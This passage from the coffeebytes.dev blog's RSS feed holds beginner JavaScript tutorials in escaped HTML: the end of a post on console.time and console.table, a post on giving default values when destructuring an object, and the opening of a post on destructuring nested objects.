style=&#34;display:flex;&#34;&gt;&lt;span&gt;console.time()&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;functionToMeasure()&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;console.timeEnd()&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;default&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;:&lt;/span&gt; &lt;span style=&#34;color:#ff9f43&#34;&gt;8605&lt;/span&gt;ms &lt;span style=&#34;color:#ff6ac1&#34;&gt;-&lt;/span&gt; timer finished&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;print-a-list-of-objects-as-a-table&#34;&gt;Print a list of objects as a table&lt;/h2&gt;&#xA;&lt;p&gt;&lt;em&gt;console.table()&lt;/em&gt; Prints a list of objects in a table format that is quite pleasing to the eye.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-javascript&#34; data-lang=&#34;javascript&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;const&lt;/span&gt; books &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; [{book&lt;span style=&#34;color:#ff6ac1&#34;&gt;:&lt;/span&gt; &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;Story of Your Life&amp;#34;&lt;/span&gt;, author&lt;span style=&#34;color:#ff6ac1&#34;&gt;:&lt;/span&gt; &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;Ted Chiang&amp;#34;&lt;/span&gt;}, {book&lt;span style=&#34;color:#ff6ac1&#34;&gt;:&lt;/span&gt; &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;The last answer&amp;#34;&lt;/span&gt;, author&lt;span style=&#34;color:#ff6ac1&#34;&gt;:&lt;/span&gt; &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;Isaac Asimov&amp;#34;&lt;/span&gt;}, {book&lt;span style=&#34;color:#ff6ac1&#34;&gt;:&lt;/span&gt; &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;do androids dream of electric sheep?&amp;#34;&lt;/span&gt;, author&lt;span style=&#34;color:#ff6ac1&#34;&gt;:&lt;/span&gt; &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;Philip K. Dick&amp;#34;&lt;/span&gt;}]&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;console.table(books)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/javascript/you-dont-know-how-to-use-javascript-console/images/table-1.jpg&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/javascript/you-dont-know-how-to-use-javascript-console/images/table-1.jpg&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Printing table with console.table in console&#34; width=&#34;426&#34; height=&#34;229&#34;&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;p&gt;With this example I end this entry. I hope that the next time you use &lt;em&gt;console.log()&lt;/em&gt; you take into account the different options you have to make easier the development of your code. In this entry I only put the most useful methods, if you want to go deeper into the subject you can consult the &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://developer.mozilla.org/es/docs/Web/API/Console&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;official documentation&lt;/a&gt;&#xA;&lt;/p&gt;&#xA;</content:encoded>
      <summary>&lt;p&gt;I bet you have ever used &lt;em&gt;console.log()&lt;/em&gt; to debug errors when programming in javascript. But you may not know that &lt;em&gt;console&lt;/em&gt; has other useful methods besides &lt;em&gt;log()&lt;/em&gt;. In this post I am going to place some of the most useful methods that I have found on the web. In this entry I am going to put some of the most useful methods I have found on the web.&lt;/p&gt;&#xA;&lt;h2 id=&#34;consoleinfo-displays-information&#34;&gt;Console.info Displays information&lt;/h2&gt;&#xA;&lt;p&gt;&lt;em&gt;console.info()&lt;/em&gt; performs the function of displaying information&lt;/p&gt;</summary>
    </item>
    
    <item>
      <title>Destructuring with default values in Javascript</title>
      <link>https://coffeebytes.dev/en/javascript/destructuring-with-default-values-in-javascript/</link>
      <pubDate>Sun, 01 Dec 2019 00:00:00 +0000</pubDate>
      <guid>https://coffeebytes.dev/en/javascript/destructuring-with-default-values-in-javascript/</guid>
      
      <category>javascript</category>
      
      
      
      
      
      <content:encoded>&lt;p&gt;In the previous post I briefly discussed the topic of &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/javascript/destructuring-nested-objects-in-javascript/&#34;&gt;destructuring with nested objects in javascript&lt;/a&gt;&#xA; . In this post I am going to talk a bit about how we can specify default values when destructuring an object in javascript.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-8672022193&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;8672022193&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;nc&#34;&gt;&#xA;  &lt;a rel=&#34;sponsored nofollow&#34;href=&#34;https://m.do.co/c/a22240ebb8e7&#34; target=&#34;_top&#34; id=&#34;890711&#34;&gt;&#xA;  &lt;img src=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1765910574/coffee-bytes/Digital-ocean-banner_tuov4m.png&#34; border=&#34;0&#34; alt=&#34;&#34; class=&#34;banner&#34;/&gt;&lt;/a&gt;&#xA;  &lt;img height=&#34;0&#34; width=&#34;0&#34; src=&#34;https://m.do.co/c/a22240ebb8e7#?&#34; style=&#34;position:absolute;visibility:hidden;&#34; border=&#34;0&#34; /&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&lt;style&gt;&#xA;&#xA;  .nc {&#xA;    margin: 2rem 0;&#xA;  }&#xA;  .banner{&#xA;    width: 728px;&#xA;    height: 90px;&#xA;  }&#xA;&#xA;  .google-ads-container-8672022193{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-8672022193 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;    .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-8672022193 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&lt;p&gt;To do this we will create a fairly simple object:&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-javascript&#34; data-lang=&#34;javascript&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;const&lt;/span&gt; user &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  userIsLoggedIn&lt;span style=&#34;color:#ff6ac1&#34;&gt;:&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;true&lt;/span&gt;, &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  email&lt;span style=&#34;color:#ff6ac1&#34;&gt;:&lt;/span&gt; &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;email@example.org&amp;#34;&lt;/span&gt;,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  accountType&lt;span style=&#34;color:#ff6ac1&#34;&gt;:&lt;/span&gt; &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;premium&amp;#34;&lt;/span&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;This object could be the response to an API request. From the previous object we could destructure three properties, &lt;em&gt;userIsLoggedIn&lt;/em&gt;, &lt;em&gt;email&lt;/em&gt; and &lt;em&gt;accountType&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-javascript&#34; data-lang=&#34;javascript&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;const&lt;/span&gt; { userIsLoggedIn, email, accountType } &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; user&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;But, what would happen if there is a change in the API and now it no longer returns the &lt;em&gt;accountType&lt;/em&gt; property, this would be enough for all the part of the frontend that depends on the presence of that variable to have errors.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-javascript&#34; data-lang=&#34;javascript&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;if&lt;/span&gt;(accountType&lt;span style=&#34;color:#ff6ac1&#34;&gt;===&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;Admin&amp;#39;&lt;/span&gt;){&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  showAdvancedMenu()&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;if&lt;/span&gt;(accountType&lt;span style=&#34;color:#ff6ac1&#34;&gt;===&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;basic&amp;#39;&lt;/span&gt;){&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  showBasicMenu()&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Well, to avoid this we can assign a default value when the destructuring does not find the property that we want to destructure. If you are following this example remember to clean the javascript terminal and re-declare the main object or you will get an error.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-1124666671&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;1124666671&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;nc&#34;&gt;&#xA;  &lt;a rel=&#34;sponsored nofollow&#34;href=&#34;https://namecheap.pxf.io/c/4085764/890711/5618&#34; target=&#34;_top&#34; id=&#34;890711&#34;&gt;&#xA;  &lt;img src=&#34;//a.impactradius-go.com/display-ad/5618-890711&#34; border=&#34;0&#34; alt=&#34;&#34; class=&#34;banner&#34;/&gt;&lt;/a&gt;&#xA;  &lt;img height=&#34;0&#34; width=&#34;0&#34; src=&#34;https://namecheap.pxf.io/i/4085764/890711/5618&#34; style=&#34;position:absolute;visibility:hidden;&#34; border=&#34;0&#34; /&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&lt;style&gt;&#xA;    .nc {&#xA;    margin: 2rem 0;&#xA;  }&#xA;  .banner{&#xA;    width: 728px;&#xA;    height: 90px;&#xA;  }&#xA;  .google-ads-container-1124666671{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;        .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;h2 id=&#34;assigning-a-default-value-when-destructuring-an-object-in-javascript&#34;&gt;Assigning a default value when destructuring an object in Javascript&lt;/h2&gt;&#xA;&lt;p&gt;This time let&amp;rsquo;s declare the user object without the &lt;em&gt;accountType&lt;/em&gt; property:&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-javascript&#34; data-lang=&#34;javascript&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;const&lt;/span&gt; user &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  userIsLoggedIn&lt;span style=&#34;color:#ff6ac1&#34;&gt;:&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;true&lt;/span&gt;, &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  email&lt;span style=&#34;color:#ff6ac1&#34;&gt;:&lt;/span&gt; &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;email@example.org&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Well, if we try to destructure the object and assign a default value if the appropriate property is not found we will do it in the following way:&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-5272667386&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;5272667386&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-5272667386{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-javascript&#34; data-lang=&#34;javascript&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;const&lt;/span&gt; { userIsLoggedIn, email, accountType&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;basic&amp;#34;&lt;/span&gt; } &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; user&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;accountType&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;basic&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;The &lt;em&gt;accountType&lt;/em&gt; constant returns &amp;lsquo;basic&amp;rsquo;, a property that the original object lacked, but will now have a default value if omitted. This allows us to keep the frontend without major changes to a modified HTTP response and to handle the absence of some property in an object.&lt;/p&gt;&#xA;&lt;p&gt;I know that sometimes this topic can be quite difficult, I also had a hard time understanding it the first time, the destructuring makes the already confusing Javascript code much more readable. If you still find Javascript confusing I leave you a post where I talk about what I consider the &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/javascript/the-best-book-for-learning-modern-javascript/&#34;&gt;best book to learn Javascript&lt;/a&gt;&#xA; at intermediate level.&lt;/p&gt;&#xA;</content:encoded>
      <summary>&lt;p&gt;In the previous post I briefly discussed the topic of &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/javascript/destructuring-nested-objects-in-javascript/&#34;&gt;destructuring with nested objects in javascript&lt;/a&gt;&#xA; . In this post I am going to talk a bit about how we can specify default values when destructuring an object in javascript.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-8672022193&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;8672022193&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;nc&#34;&gt;&#xA;  &lt;a rel=&#34;sponsored nofollow&#34;href=&#34;https://m.do.co/c/a22240ebb8e7&#34; target=&#34;_top&#34; id=&#34;890711&#34;&gt;&#xA;  &lt;img src=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1765910574/coffee-bytes/Digital-ocean-banner_tuov4m.png&#34; border=&#34;0&#34; alt=&#34;&#34; class=&#34;banner&#34;/&gt;&lt;/a&gt;&#xA;  &lt;img height=&#34;0&#34; width=&#34;0&#34; src=&#34;https://m.do.co/c/a22240ebb8e7#?&#34; style=&#34;position:absolute;visibility:hidden;&#34; border=&#34;0&#34; /&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&lt;style&gt;&#xA;&#xA;  .nc {&#xA;    margin: 2rem 0;&#xA;  }&#xA;  .banner{&#xA;    width: 728px;&#xA;    height: 90px;&#xA;  }&#xA;&#xA;  .google-ads-container-8672022193{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-8672022193 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;    .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-8672022193 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&lt;p&gt;To do this we will create a fairly simple object:&lt;/p&gt;</summary>
    </item>
    
    <item>
      <title>Destructuring nested objects in Javascript</title>
      <link>https://coffeebytes.dev/en/javascript/destructuring-nested-objects-in-javascript/</link>
      <pubDate>Sat, 16 Nov 2019 00:00:00 +0000</pubDate>
      <guid>https://coffeebytes.dev/en/javascript/destructuring-nested-objects-in-javascript/</guid>
      
      <category>javascript</category>
      
      
      
      
      
      <content:encoded>&lt;p&gt;In the previous posts I briefly explained how to perform a &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/javascript/destructuring-lists-in-javascript/&#34;&gt;destructuring of objects in Javascript&lt;/a&gt;&#xA;, but in most cases we will not be lucky enough to work with flat objects, but we will find nested objects with several levels of depth. Will we have to settle for forgetting about this feature and do the job explicitly assigning a constant to each object? Luckily Javascript allows us to work with the destructuring of nested objects.&lt;/p&gt;&#xA;&lt;p&gt;Let&amp;rsquo;s create an example object to test.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-javascript&#34; data-lang=&#34;javascript&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;const&lt;/span&gt; user &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  userIsLoggedIn&lt;span style=&#34;color:#ff6ac1&#34;&gt;:&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;true&lt;/span&gt;, &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  data&lt;span style=&#34;color:#ff6ac1&#34;&gt;:&lt;/span&gt; {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    email&lt;span style=&#34;color:#ff6ac1&#34;&gt;:&lt;/span&gt; &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;email@example.org&amp;#34;&lt;/span&gt;, &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    name&lt;span style=&#34;color:#ff6ac1&#34;&gt;:&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;Isabel&amp;#34;&lt;/span&gt;, &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    lastName&lt;span style=&#34;color:#ff6ac1&#34;&gt;:&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;Allende&amp;#34;&lt;/span&gt;, &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    location&lt;span style=&#34;color:#ff6ac1&#34;&gt;:&lt;/span&gt;{&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      state&lt;span style=&#34;color:#ff6ac1&#34;&gt;:&lt;/span&gt; &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;Lima&amp;#34;&lt;/span&gt;, &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      country&lt;span style=&#34;color:#ff6ac1&#34;&gt;:&lt;/span&gt; &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;Peru&amp;#34;&lt;/span&gt;, &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      postalCode&lt;span style=&#34;color:#ff6ac1&#34;&gt;:&lt;/span&gt; &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;15048&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    }&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  }&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Let&amp;rsquo;s first get the &lt;em&gt;userIsLoggedIn&lt;/em&gt; property&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-javascript&#34; data-lang=&#34;javascript&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;const&lt;/span&gt; { userIsLoggedIn } &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; user&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;userIsLoggedIn&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;true&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;how-to-destructure-nested-properties&#34;&gt;¿How to destructure nested properties?&lt;/h2&gt;&#xA;&lt;p&gt;But what if we now want to assign the state property? To achieve this, let&amp;rsquo;s first think about the structure of the object. Our object has three levels; in the first one, there are userIsLoggedIn and data; in the second one, email, name, lastName and location; in the third level, the properties state, country and postalCode. It is in this last level where is the property that we are trying to destructure.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-javascript&#34; data-lang=&#34;javascript&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;const&lt;/span&gt; user &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  userIsLoggedIn&lt;span style=&#34;color:#ff6ac1&#34;&gt;:&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;true&lt;/span&gt;, &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  data&lt;span style=&#34;color:#ff6ac1&#34;&gt;:&lt;/span&gt; {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    email&lt;span style=&#34;color:#ff6ac1&#34;&gt;:&lt;/span&gt; &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;email@example.org&amp;#34;&lt;/span&gt;, &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    name&lt;span style=&#34;color:#ff6ac1&#34;&gt;:&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;Isabel&amp;#34;&lt;/span&gt;, &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    lastName&lt;span style=&#34;color:#ff6ac1&#34;&gt;:&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;Allende&amp;#34;&lt;/span&gt;, &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    location&lt;span style=&#34;color:#ff6ac1&#34;&gt;:&lt;/span&gt;{&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      state&lt;span style=&#34;color:#ff6ac1&#34;&gt;:&lt;/span&gt; &lt;span 